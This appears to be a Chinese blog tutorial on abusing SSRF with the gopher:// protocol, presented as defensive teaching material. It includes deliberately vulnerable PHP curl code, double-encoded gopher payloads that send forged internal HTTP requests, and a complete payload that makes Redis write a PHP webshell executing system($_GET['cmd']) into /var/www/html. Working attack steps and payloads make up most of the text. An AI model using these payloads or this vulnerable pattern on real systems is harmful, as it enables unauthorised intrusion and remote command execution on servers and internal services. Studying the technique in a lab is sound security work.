天天看点

SSRF漏洞-Gopher协议扩展利用Gopher协议小案例ssrf利用redis写入webshell

作者:小刚

一位苦于信息安全的萌新小白帽,记得关注给个赞,谢谢

本实验仅用于信息防御教学,切勿用于其它用途

Gopher协议扩展利用

  • Gopher协议
    • 利用要点
    • 利用方式
  • 小案例
  • ssrf利用redis写入webshell

Gopher协议

Gopher在HTTP协议前是非常有名的信息查找系统,但是很老了,很少服务会用到它

但是!在SSRF漏洞中,它大方光彩,让SSRF漏洞利用更加广泛

利用此协议可以对ftp,memchahe,mysql,telnet,redis,等服务进行攻击,

并可以构造发送GET,POST请求包

说白了就是:通过SSRF漏洞,让服务器发送自己精心构造的GET或者POST请求包

格式

gopher://<host>:<post>/<gopher-path>_后面接TCP数据流
           

利用要点

PHP版本大于等于5.3

PHP.ini开启了php_curl

gopher没有默认端口,需要指定:gopher://127.0.0.1:80

在传送GET或POST数据时需要经过二次URl编码

url编码时回车换行需要使用%0d%0a替换%0a

POST中的&也需要url编码。

利用方式

1.利用SSRF进行内网渗透

2.gopher协议反弹shell

3.超级经典的redis写入webshell

小案例

构造GET数据请求127.0.0.1页面

1.一个存在ssrf漏洞的代码

<?PHP
	$URL = $_GET['URL'];
	$CH = CURL_INIT();
	
	CURL_SETOPT($CH,CURLOPT_URL, $URL);
	CURL_SETOPT($CH,CURLOPT_HEADER,FALSE);
	CURL_SETOPT($CH,CURLOPT_RETURNTRANSFER,TRUE);
	CURL_SETOPT($CH,CURLOPT_SSL_VERIFYPEER,FALSE);
	CURL_SETOPT($CH,CURLOPT_FOLLOWLOCATION,TRUE);
	$RES = CURL_EXEC($CH);
	CURL_CLOSE($CH);
	ECHO $RES;
?>
           

2.构造一个get请求包

我这里用postman获取访问127.0.0.1:80的请求包

SSRF漏洞-Gopher协议扩展利用Gopher协议小案例ssrf利用redis写入webshell

复制出来进行第一次URL编码http://ctf.ssleye.com/url.html

GET%20/%20HTTP/1.1%0AHost%3A%20127.0.0.1%3A80
           
SSRF漏洞-Gopher协议扩展利用Gopher协议小案例ssrf利用redis写入webshell

进行第二次编码前,将%0a替换成%0d%0a,在代码最后也添加个%0d%0a以防万一

(因为换行在http请求中是%0d%0a,但是URL编码器只会编码出%0a)

GET%20/%20HTTP/1.1%0d%0AHost%3A%20127.0.0.1%3A80%0d%0a
           

进行第二次URL编码

GET%2520/%2520HTTP/1.1%250d%250AHost%253A%2520127.0.0.1%253A80%250d%250a
           
SSRF漏洞-Gopher协议扩展利用Gopher协议小案例ssrf利用redis写入webshell

3.将构造好的代码与gopher协议连用

gopher://127.0.0.1:80/GET%2520/%2520HTTP/1.1%250d%250AHost%253A%2520127.0.0.1%253A80%250d%250a
           

4.利用ssrf漏洞发送gopher请求

127.0.0.1/h/SSRF/?URL=gopher://127.0.0.1:80/GET%2520/%2520HTTP/1.1%250d%250AHost%253A%2520127.0.0.1%253A80%250d%250a
           

发现请求成功,但返回消息不对

SSRF漏洞-Gopher协议扩展利用Gopher协议小案例ssrf利用redis写入webshell

调试发现需要在GET请求数据前,随便添加一个字符(我添加下划线_)

127.0.0.1/h/SSRF/?URL=gopher://127.0.0.1:80/_GET%2520/%2520HTTP/1.1%250d%250AHost%253A%2520127.0.0.1%253A80%250d%250a
           
SSRF漏洞-Gopher协议扩展利用Gopher协议小案例ssrf利用redis写入webshell

现在请求成功,ssrf漏洞成功发出来我构造的GET请求。

ssrf利用redis写入webshell

小小的复现一下,我用的kali

先安装redis

wget http://download.redis.io/releases/redis-6.0.6.tar.gz //下载redis
tar xzf redis-6.0.6.tar.gz //解压
cd redis-6.0.6
make //编译,会产生src文件夹,存放着redis-server和redis-cli
cd src
./redis-server ../redis.config //以默认配置启动redis服务
重新开启一个终端
cd redis-6.0.6/src
./redis-cli  //进入操作终端
ping一下返回pong说明成功
           

1.手动构造代码过于繁琐,这里利用大佬写的工具来生成payload

https://github.com/tarunkant/Gopherus

SSRF漏洞-Gopher协议扩展利用Gopher协议小案例ssrf利用redis写入webshell

代码意思是使用redis在指定目录生成shell.php文件,并写入一句话木马。

具体用法有说明。

2.将代码与SSRF漏洞组合

http://192.168.1.131/test/index.php?URL=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

3.最后,在kali的目录中发现成功写入webshell

SSRF漏洞-Gopher协议扩展利用Gopher协议小案例ssrf利用redis写入webshell

继续阅读